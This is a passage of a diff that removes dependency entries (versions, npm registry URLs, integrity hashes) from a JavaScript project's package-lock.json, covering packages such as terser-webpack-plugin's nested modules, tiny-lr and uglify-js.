"node_modules/terser-webpack-plugin/node_modules/ajv-keywords": { - "version": "3.5.1", - "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.1.tgz", - "integrity": "sha512-KWcq3xN8fDjSB+IMoh2VaXVhRI0BBGxoYp3rx7Pkb6z0cFjYR9Q9l4yZqqals0/zsioCmocC5H6UvsGD4MoIBA==", - "dev": true, - "peerDependencies": { - "ajv": "^6.9.1" - } - }, - "node_modules/terser-webpack-plugin/node_modules/bluebird": { - "version": "3.7.2", - "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.7.2.tgz", - "integrity": "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==", - "dev": true - }, - "node_modules/terser-webpack-plugin/node_modules/cacache": { - "version": "12.0.4", - "resolved": "https://registry.npmjs.org/cacache/-/cacache-12.0.4.tgz", - "integrity": "sha512-a0tMB40oefvuInr4Cwb3GerbL9xTj1D5yg0T5xrjGCGyfvbxseIXX7BAO/u/hIXdafzOI5JC3wDwHyf24buOAQ==", - "dev": true, - "dependencies": { - "bluebird": "^3.5.5", - "chownr": "^1.1.1", - "figgy-pudding": "^3.5.1", - "glob": "^7.1.4", - "graceful-fs": "^4.1.15", - "infer-owner": "^1.0.3", - "lru-cache": "^5.1.1", - "mississippi": "^3.0.0", - "mkdirp": "^0.5.1", - "move-concurrently": "^1.0.1", - "promise-inflight": "^1.0.1", - "rimraf": "^2.6.3", - "ssri": "^6.0.1", - "unique-filename": "^1.1.1", - "y18n": "^4.0.0" - } - }, - "node_modules/terser-webpack-plugin/node_modules/chownr": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz", - "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==", - "dev": true - }, - "node_modules/terser-webpack-plugin/node_modules/fast-deep-equal": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", - "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", - "dev": true - }, - "node_modules/terser-webpack-plugin/node_modules/find-cache-dir": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-2.1.0.tgz", - "integrity": "sha512-Tq6PixE0w/VMFfCgbONnkiQIVol/JJL7nRMi20fqzA4NRs9AfeqMGeRdPi3wIhYkxjeBaWh2rxwapn5Tu3IqOQ==", - "dev": true, - "dependencies": { - "commondir": "^1.0.1", - "make-dir": "^2.0.0", - "pkg-dir": "^3.0.0" - }, - "engines": { - "node": ">=6" - } - }, - "node_modules/terser-webpack-plugin/node_modules/find-up": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz", - "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", - "dev": true, - "dependencies": { - "locate-path": "^3.0.0" - }, - "engines": { - "node": ">=6" - } - }, - "node_modules/terser-webpack-plugin/node_modules/glob": { - "version": "7.1.6", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.6.tgz", - "integrity": "sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==", - "dev": true, - "dependencies": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - }, - "engines": { - "node": "*" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/terser-webpack-plugin/node_modules/graceful-fs": { - "version": "4.2.4", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.4.tgz", - "integrity": "sha512-WjKPNJF79dtJAVniUlGGWHYGz2jWxT6VhN/4m1NdkbZ2nOsEF+cI1Edgql5zCRhs/VsQYRvrXctxktVXZUkixw==", - "dev": true - }, - "node_modules/terser-webpack-plugin/node_modules/json-schema-traverse": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", - "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", - "dev": true - }, - "node_modules/terser-webpack-plugin/node_modules/locate-path": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz", - "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", - "dev": true, - "dependencies": { - "p-locate": "^3.0.0", - "path-exists": "^3.0.0" - }, - "engines": { - "node": ">=6" - } - }, - "node_modules/terser-webpack-plugin/node_modules/lru-cache": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", - "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", - "dev": true, - "dependencies": { - "yallist": "^3.0.2" - } - }, - "node_modules/terser-webpack-plugin/node_modules/make-dir": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-2.1.0.tgz", - "integrity": "sha512-LS9X+dc8KLxXCb8dni79fLIIUA5VyZoyjSMCwTluaXA0o27cCK0bhXkpgw+sTXVpPy/lSO57ilRixqk0vDmtRA==", - "dev": true, - "dependencies": { - "pify": "^4.0.1", - "semver": "^5.6.0" - }, - "engines": { - "node": ">=6" - } - }, - "node_modules/terser-webpack-plugin/node_modules/mississippi": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/mississippi/-/mississippi-3.0.0.tgz", - "integrity": "sha512-x471SsVjUtBRtcvd4BzKE9kFC+/2TeWgKCgw0bZcw1b9l2X3QX5vCWgF+KaZaYm87Ss//rHnWryupDrgLvmSkA==", - "dev": true, - "dependencies": { - "concat-stream": "^1.5.0", - "duplexify": "^3.4.2", - "end-of-stream": "^1.1.0", - "flush-write-stream": "^1.0.0", - "from2": "^2.1.0", - "parallel-transform": "^1.1.0", - "pump": "^3.0.0", - "pumpify": "^1.3.3", - "stream-each": "^1.1.0", - "through2": "^2.0.0" - }, - "engines": { - "node": ">=4.0.0" - } - }, - "node_modules/terser-webpack-plugin/node_modules/p-limit": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", - "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", - "dev": true, - "dependencies": { - "p-try": "^2.0.0" - }, - "engines": { - "node": ">=6" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/terser-webpack-plugin/node_modules/p-locate": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz", - "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", - "dev": true, - "dependencies": { - "p-limit": "^2.0.0" - }, - "engines": { - "node": ">=6" - } - }, - "node_modules/terser-webpack-plugin/node_modules/p-try": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", - "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", - "dev": true, - "engines": { - "node": ">=6" - } - }, - "node_modules/terser-webpack-plugin/node_modules/path-exists": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", - "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/terser-webpack-plugin/node_modules/pify": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz", - "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==", - "dev": true, - "engines": { - "node": ">=6" - } - }, - "node_modules/terser-webpack-plugin/node_modules/pkg-dir": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-3.0.0.tgz", - "integrity": "sha512-/E57AYkoeQ25qkxMj5PBOVgF8Kiu/h7cYS30Z5+R7WaiCCBfLq58ZI/dSeaEKb9WVJV5n/03QwrN3IeWIFllvw==", - "dev": true, - "dependencies": { - "find-up": "^3.0.0" - }, - "engines": { - "node": ">=6" - } - }, - "node_modules/terser-webpack-plugin/node_modules/pump": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", - "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", - "dev": true, - "dependencies": { - "end-of-stream": "^1.1.0", - "once": "^1.3.1" - } - }, - "node_modules/terser-webpack-plugin/node_modules/randombytes": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz", - "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", - "dev": true, - "dependencies": { - "safe-buffer": "^5.1.0" - } - }, - "node_modules/terser-webpack-plugin/node_modules/rimraf": { - "version": "2.7.1", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.7.1.tgz", - "integrity": "sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w==", - "dev": true, - "dependencies": { - "glob": "^7.1.3" - }, - "bin": { - "rimraf": "bin.js" - } - }, - "node_modules/terser-webpack-plugin/node_modules/schema-utils": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz", - "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==", - "dev": true, - "dependencies": { - "ajv": "^6.1.0", - "ajv-errors": "^1.0.0", - "ajv-keywords": "^3.1.0" - }, - "engines": { - "node": ">= 4" - } - }, - "node_modules/terser-webpack-plugin/node_modules/semver": { - "version": "5.7.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", - "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", - "dev": true, - "bin": { - "semver": "bin/semver" - } - }, - "node_modules/terser-webpack-plugin/node_modules/serialize-javascript": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-3.1.0.tgz", - "integrity": "sha512-JIJT1DGiWmIKhzRsG91aS6Ze4sFUrYbltlkg2onR5OrnNM02Kl/hnY/T4FN2omvyeBbQmMJv+K4cPOpGzOTFBg==", - "dev": true, - "dependencies": { - "randombytes": "^2.1.0" - } - }, - "node_modules/terser-webpack-plugin/node_modules/source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/terser-webpack-plugin/node_modules/ssri": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/ssri/-/ssri-6.0.1.tgz", - "integrity": "sha512-3Wge10hNcT1Kur4PDFwEieXSCMCJs/7WvSACcrMYrNp+b8kDL1/0wJch5Ni2WrtwEa2IO8OsVfeKIciKCDx/QA==", - "dev": true, - "dependencies": { - "figgy-pudding": "^3.5.1" - } - }, - "node_modules/terser-webpack-plugin/node_modules/unique-filename": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/unique-filename/-/unique-filename-1.1.1.tgz", - "integrity": "sha512-Vmp0jIp2ln35UTXuryvjzkjGdRyf9b2lTXuSYUiPmzRcl3FDtYqAwOnTJkAngD9SWhnoJzDbTKwaOrZ+STtxNQ==", - "dev": true, - "dependencies": { - "unique-slug": "^2.0.0" - } - }, - "node_modules/terser-webpack-plugin/node_modules/webpack-sources": { - "version": "1.4.3", - "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-1.4.3.tgz", - "integrity": "sha512-lgTS3Xhv1lCOKo7SA5TjKXMjpSM4sBjNV5+q2bqesbSPs5FjGmU6jjtBSkX9b4qW87vDIsCIlUPOEhbZrMdjeQ==", - "dev": true, - "dependencies": { - "source-list-map": "^2.0.0", - "source-map": "~0.6.1" - } - }, - "node_modules/terser-webpack-plugin/node_modules/worker-farm": { - "version": "1.7.0", - "resolved": "https://registry.npmjs.org/worker-farm/-/worker-farm-1.7.0.tgz", - "integrity": "sha512-rvw3QTZc8lAxyVrqcSGVm5yP/IJ2UcB3U0graE3LCFoZ0Yn2x4EoVSqJKdB/T5M+FLcRPjz4TDacRf3OCfNUzw==", - "dev": true, - "dependencies": { - "errno": "~0.1.7" - } - }, - "node_modules/terser-webpack-plugin/node_modules/y18n": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.0.tgz", - "integrity": "sha512-r9S/ZyXu/Xu9q1tYlpsLIsa3EeLXXk0VwlxqTcFRfg9EhMW+17kbt9G0NrgCmhGb5vT2hyhJZLfDGx+7+5Uj/w==", - "dev": true - }, - "node_modules/terser-webpack-plugin/node_modules/yallist": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", - "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==", - "dev": true - }, - "node_modules/terser/node_modules/commander": { - "version": "2.20.3", - "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", - "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==", - "dev": true - }, - "node_modules/terser/node_modules/source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/terser/node_modules/source-map-support": { - "version": "0.5.19", - "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.19.tgz", - "integrity": "sha512-Wonm7zOCIJzBGQdB+thsPar0kYuCIzYvxZwlBa87yi/Mdjv7Tip2cyVbLj5o0cFPN4EVkuTwb3GDDyUx2DGnGw==", - "dev": true, - "dependencies": { - "buffer-from": "^1.0.0", - "source-map": "^0.6.0" - } - }, - "node_modules/text-table": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz", - "integrity": "sha1-f17oI66AUgfACvLfSoTsP8+lcLQ=", - "dev": true - }, - "node_modules/through": { - "version": "2.3.8", - "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", - "integrity": "sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU=", - "dev": true - }, - "node_modules/through2": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.3.tgz", - "integrity": "sha1-AARWmzfHx0ujnEPzzteNGtlBQL4=", - "dev": true, - "dependencies": { - "readable-stream": "^2.1.5", - "xtend": "~4.0.1" - } - }, - "node_modules/timers-browserify": { - "version": "1.4.2", - "resolved": "https://registry.npmjs.org/timers-browserify/-/timers-browserify-1.4.2.tgz", - "integrity": "sha1-ycWLV1voQHN1y14kYtrO50NZ9B0=", - "dev": true, - "dependencies": { - "process": "~0.11.0" - }, - "engines": { - "node": ">=0.6.0" - } - }, - "node_modules/timsort": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/timsort/-/timsort-0.3.0.tgz", - "integrity": "sha1-QFQRqOfmM5/mTbmiNN4R3DHgK9Q=", - "dev": true - }, - "node_modules/tiny-lr": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/tiny-lr/-/tiny-lr-1.1.1.tgz", - "integrity": "sha512-44yhA3tsaRoMOjQQ+5v5mVdqef+kH6Qze9jTpqtVufgYjYt08zyZAwNwwVBj3i1rJMnR52IxOW0LK0vBzgAkuA==", - "dev": true, - "dependencies": { - "body": "^5.1.0", - "debug": "^3.1.0", - "faye-websocket": "~0.10.0", - "livereload-js": "^2.3.0", - "object-assign": "^4.1.0", - "qs": "^6.4.0" - } - }, - "node_modules/tiny-lr/node_modules/debug": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", - "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", - "dev": true, - "dependencies": { - "ms": "2.0.0" - } - }, - "node_modules/tinycolor2": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/tinycolor2/-/tinycolor2-1.4.1.tgz", - "integrity": "sha1-9PrTM0R7wLB9TcjpIJ2POaisd+g=", - "engines": { - "node": "*" - } - }, - "node_modules/tmp": { - "version": "0.0.33", - "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.0.33.tgz", - "integrity": "sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==", - "dev": true, - "dependencies": { - "os-tmpdir": "~1.0.2" - }, - "engines": { - "node": ">=0.6.0" - } - }, - "node_modules/to-arraybuffer": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/to-arraybuffer/-/to-arraybuffer-1.0.1.tgz", - "integrity": "sha1-fSKbH8xjfkZsoIEYCDanqr/4P0M=", - "dev": true - }, - "node_modules/to-fast-properties": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-1.0.3.tgz", - "integrity": "sha1-uDVx+k2MJbguIxsG46MFXeTKGkc=", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/to-object-path": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/to-object-path/-/to-object-path-0.3.0.tgz", - "integrity": "sha1-KXWIt7Dn4KwI4E5nL4XB9JmeF68=", - "dev": true, - "dependencies": { - "kind-of": "^3.0.2" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/to-regex": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/to-regex/-/to-regex-3.0.2.tgz", - "integrity": "sha512-FWtleNAtZ/Ki2qtqej2CXTOayOH9bHDQF+Q48VpWyDXjbYxA4Yz8iDB31zXOBUlOHHKidDbqGVrTUvQMPmBGBw==", - "dev": true, - "dependencies": { - "define-property": "^2.0.2", - "extend-shallow": "^3.0.2", - "regex-not": "^1.0.2", - "safe-regex": "^1.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/to-regex-range": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-2.1.1.tgz", - "integrity": "sha1-fIDBe53+vlmeJzZ+DU3VWQFB2zg=", - "dev": true, - "dependencies": { - "is-number": "^3.0.0", - "repeat-string": "^1.6.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/to-regex-range/node_modules/is-number": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", - "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", - "dev": true, - "dependencies": { - "kind-of": "^3.0.2" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/toastr": { - "version": "2.1.4", - "resolved": "https://registry.npmjs.org/toastr/-/toastr-2.1.4.tgz", - "integrity": "sha1-i0O+ZPudDEFIcURvLbjoyk6V8YE=", - "dependencies": { - "jquery": ">=1.12.0" - } - }, - "node_modules/token-stream": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/token-stream/-/token-stream-1.0.0.tgz", - "integrity": "sha1-zCAOqyYT9BZtJ/+a/HylbUnfbrQ=", - "dev": true - }, - "node_modules/tough-cookie": { - "version": "2.4.3", - "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.4.3.tgz", - "integrity": "sha512-Q5srk/4vDM54WJsJio3XNn6K2sCG+CQ8G5Wz6bZhRZoAe/+TxjWB/GlFAnYEbkYVlON9FMk/fE3h2RLpPXo4lQ==", - "dev": true, - "dependencies": { - "psl": "^1.1.24", - "punycode": "^1.4.1" - }, - "engines": { - "node": ">=0.8" - } - }, - "node_modules/trim-newlines": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/trim-newlines/-/trim-newlines-1.0.0.tgz", - "integrity": "sha1-WIeWa7WCpFA6QetST301ARgVphM=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/trim-right": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/trim-right/-/trim-right-1.0.1.tgz", - "integrity": "sha1-yy4SAwZ+DI3h9hQJS5/kVwTqYAM=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/true-case-path": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/true-case-path/-/true-case-path-1.0.3.tgz", - "integrity": "sha512-m6s2OdQe5wgpFMC+pAJ+q9djG82O2jcHPOI6RNg1yy9rCYR+WD6Nbpl32fDpfC56nirdRy+opFa/Vk7HYhqaew==", - "dev": true, - "dependencies": { - "glob": "^7.1.2" - } - }, - "node_modules/true-case-path/node_modules/glob": { - "version": "7.1.6", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.6.tgz", - "integrity": "sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==", - "dev": true, - "dependencies": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - }, - "engines": { - "node": "*" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/tslib": { - "version": "1.10.0", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.10.0.tgz", - "integrity": "sha512-qOebF53frne81cf0S9B41ByenJ3/IuH8yJKngAX35CmiZySA0khhkovshKK+jGCaMnVomla7gVlIcc3EvKPbTQ==", - "dev": true - }, - "node_modules/tty-browserify": { - "version": "0.0.0", - "resolved": "https://registry.npmjs.org/tty-browserify/-/tty-browserify-0.0.0.tgz", - "integrity": "sha1-oVe6QC2iTpv5V/mqadUk7tQpAaY=", - "dev": true - }, - "node_modules/tunnel-agent": { - "version": "0.6.0", - "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz", - "integrity": "sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=", - "dev": true, - "dependencies": { - "safe-buffer": "^5.0.1" - }, - "engines": { - "node": "*" - } - }, - "node_modules/tweetnacl": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz", - "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=", - "dev": true, - "optional": true - }, - "node_modules/type-check": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.3.2.tgz", - "integrity": "sha1-WITKtRLPHTVeP7eE8wgEsrUg23I=", - "dev": true, - "dependencies": { - "prelude-ls": "~1.1.2" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/typedarray": { - "version": "0.0.6", - "resolved": "https://registry.npmjs.org/typedarray/-/typedarray-0.0.6.tgz", - "integrity": "sha1-hnrHTjhkGHsdPUfZlqeOxciDB3c=", - "dev": true - }, - "node_modules/ua-parser-js": { - "version": "0.7.18", - "resolved": "https://registry.npmjs.org/ua-parser-js/-/ua-parser-js-0.7.18.tgz", - "integrity": "sha512-LtzwHlVHwFGTptfNSgezHp7WUlwiqb0gA9AALRbKaERfxwJoiX0A73QbTToxteIAuIaFshhgIZfqK8s7clqgnA==", - "dev": true, - "engines": { - "node": "*" - } - }, - "node_modules/uglify-js": { - "version": "3.4.4", - "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-3.4.4.tgz", - "integrity": "sha512-RiB1kNcC9RMyqwRrjXC+EjgLoXULoDnCaOnEDzUCHkBN0bHwmtF5rzDMiDWU29gu0kXCRRWwtcTAVFWRECmU2Q==", - "dev": true, - "dependencies": { - "commander": "~2.16.0", - "source-map": "~0.6.1" - }, - "bin": { - "uglifyjs": "bin/uglifyjs" - }, - "engines": { - "node": ">=0.8.0" - } - }, - "node_modules/uglify-js/node_modules/commander": { - "version": "2.16.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-2.16.0.tgz", - "integrity": "sha512-sVXqklSaotK9at437sFlFpyOcJonxe0yST/AG9DkQKUdIE6IqGIMv4SfAQSKaJbSdVEJYItASCrBiVQHq1HQew==", - "dev": true - }, - "node_modules/uglify-js/node_modules/source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/uglify-to-browserify": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/uglify-to-browserify/-/uglify-to-browserify-1.0.2.tgz", - "integrity": "sha1-bgkk1r2mta/jSeOabWMoUKD4grc=", - "dev": true, - "optional": true - }, - "node_modules/uglifyjs-webpack-plugin": { - "version": "1.2.7", - "resolved": "https://registry.npmjs.org/uglifyjs-webpack-plugin/-/uglifyjs-webpack-plugin-1.2.7.tgz", - "integrity": "sha512-1VicfKhCYHLS8m1DCApqBhoulnASsEoJ/BvpUpP4zoNAPpKzdH+ghk0olGJMmwX2/jprK2j3hAHdUbczBSy2FA==", - "dev": true, - "dependencies": { - "cacache": "^10.0.4", - "find-cache-dir": "^1.0.0", - "schema-utils": "^0.4.5", - "serialize-javascript": "^1.4.0", - "source-map": "^0.6.1", - "uglify-es": "^3.3.4", - "webpack-sources": "^1.1.0", - "worker-farm": "^1.5.2" - }, - "engines": { - "node": ">= 4.8 < 5.0.0 || >= 5.10" - }, - "peerDependencies": { - "webpack": "^2.0.0 || ^3.0.0 || ^4.0.0" - } - }, - "node_modules/uglifyjs-webpack-plugin/node_modules/commander": { - "version": "2.13.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-2.13.0.tgz", - "integrity": "sha512-MVuS359B+YzaWqjCL/c+22gfryv+mCBPHAv3zyVI2GN8EY6IRP8VwtasXn8jyyhvvq84R4ImN1OKRtcbIasjYA==", - "dev": true - }, - "node_modules/uglifyjs-webpack-plugin/node_modules/source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/uglifyjs-webpack-plugin/node_modules/uglify-es": { - "version": "3.3.9", - "resolved": "https://registry.npmjs.org/uglify-es/-/uglify-es-3.3.9.tgz", - "integrity": "sha512-r+MU0rfv4L/0eeW3xZrd16t4NZfK8Ld4SWVglYBb7ez5uXFWHuVRs6xCTrf1yirs9a4j4Y27nn7SRfO6v67XsQ==", - "deprecated": "support for ECMAScript is superseded by `uglify-js` as of v3.13.0", - "dev": true, - "dependencies": { - "commander": "~2.13.0", - "source-map": "~0.6.1" - }, - "bin": { - "uglifyjs": "bin/uglifyjs" - }, - "engines": { - "node": ">=0.8.0" - } - }, - "node_modules/umd": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/umd/-/umd-3.0.3.tgz", - "integrity": "sha512-4IcGSufhFshvLNcMCV80UnQVlZ5pMOC8mvNPForqwA4+lzYQuetTESLDQkeLmihq8bRcnpbQa48Wb8Lh16/xow==", - "dev": true, - "bin": { - "umd": 